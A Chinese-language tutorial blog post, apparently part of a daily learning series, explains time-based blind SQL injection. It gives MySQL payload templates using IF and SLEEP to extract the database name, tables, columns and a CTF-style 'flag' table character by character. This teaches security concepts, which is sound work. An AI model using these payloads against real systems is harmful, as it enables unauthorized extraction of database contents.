【第十三天 - 时间型SQL注入】

Q1. 什麽是时间型SQL 注入?

Time-based sql injection 是指利用 SQL Injection 造成查询时的时间延迟,透过时间差来泄漏资料库中的资料。

Time-based sql injection 和 Boolean-based 一样属於 blind injection,可以在完全网页没有回显的情况下泄漏资料。

  • 优点:即使 True / False 都无法对网页造成影响,Time-based 依然可以使用。

  • 缺点:由於网路本身会有延迟,因此 time-based sql injection 通常不能将延迟的时间设得过短,以免有 noise。而这就会需要较长的时间来泄漏资料。

  • 通常注入会先选择:UNION > 报错 > 布林盲注 > 时间盲注

Q2. 时间型 SQL 注入手法

  • 适合数字型 SQL注入,否则就要使用跳脱搭配 IF

利用 SLEEP 可以造成延迟时间,搭配 IF 就可以轻易地泄漏出资料了。

  • SLEEP(duration):暂停 duration 秒

  • IF(expr1, expr2, expr3) :以 expr1 为条件,如果 expr1 为真,则回传 expr2,反之回传 expr3。

  • 判断 database 名称长度:

    <原SQL语法>
    IF(
    	LENGTH(database()) = 1, 
    	sleep(5),
    	666
    )
    
    • 此处用 database() 取得当前资料库名称,利用 LENGTH() 取得长度,再与 1 比较,若长度确实为 1 ,则延迟 5 秒。透过替换数字 1 ,可以爆搜资料库长度。
  • 判断 database 名字:

    <原SQL语法>
    IF(
    	SUBSTR(database(), 1, 1) = 'a', 
    	sleep(5),
    	666
    )
    
    • 此处用 SUBSTR 将资料库名称的第一个字元取出,与 a 相比较,若相等则延迟 5 秒,若不相等则替换为 b ,依此类推可以抱搜出第一个字元。
    • 接着再改为取第二个字元 SUBSTR(database(),2,1),依此类推,直到找到所有字元。
  • 判断 table 名称:

    <原SQL语法>
    IF(
    	SUBSTR((
    		SELECT `table_name` 
    		FROM `information_schema`.`tables`
    		WHERE `table_schema` = database()
    		LIMIT 0, 1
    	), 1, 1) = 'a',
    	sleep(5),
    	666
    )
    
    • LIMIT 0,1 也可以看作 LIMIT 1 OFFSET 0,从第0笔资料开始取1笔资料
  • 判断栏位名称:

    <原SQL语法>
    IF(
    	SUBSTR((
    		SELECT `column_name`
    		FROM `information_schema`.`columns`
    		WHERE `table_name` = 'flag'
    			AND `table_schema` = database()
    		LIMIT 0, 1
    	), 1, 1) = 'a',
    	sleep(5),	
    	666
    )
    
  • 判断内容:

    <原SQL语法>
    IF(
    	SUBSTR((
    		SELECT `flag`
    		FROM `CTF`.`flag`
    		LIMIT 0, 1
    	), 1, 1) = 'a',
    	sleep(5),
    	666
    )
    

参考资料:https://zh.codeprj.com/blog/ac81341.html


<<:  Day11【Web】网路攻击:XSS

>>:  一些事件

新手学习JavaScript:day28 - Todolist(1)

Todolist 是JavaScript入门中的基础实作,能够练习基础的DOM操作。身为一个初学者就...

Day 28 建立自己的object

那今天我们来简单讲一下,如何建立自己的object纪录 如果大家有用过whois去查询AS或IP资讯...

轻松跨越Windows地雷而不会被炸得粉身碎骨

曾经被系统的地雷,炸得支离破碎 很多好用的应用程序都对Windows不太友善,今天就让你轻松跨越这些...

疫情学习用电脑麦克风

为什麽会议,大家听不到我声音,却能听到我的音乐啊~~~~ 设来设去...到底怎麽回事啊... 答案是...

day1 只要有钱,什麽缺都做 (雷)系统工程师

来部落格看图文并茂文章 补觉鸣诗 乞丐 当时刚退伍我就跟乞丐没两样,大学努力存的钱,都在当兵时消失殆...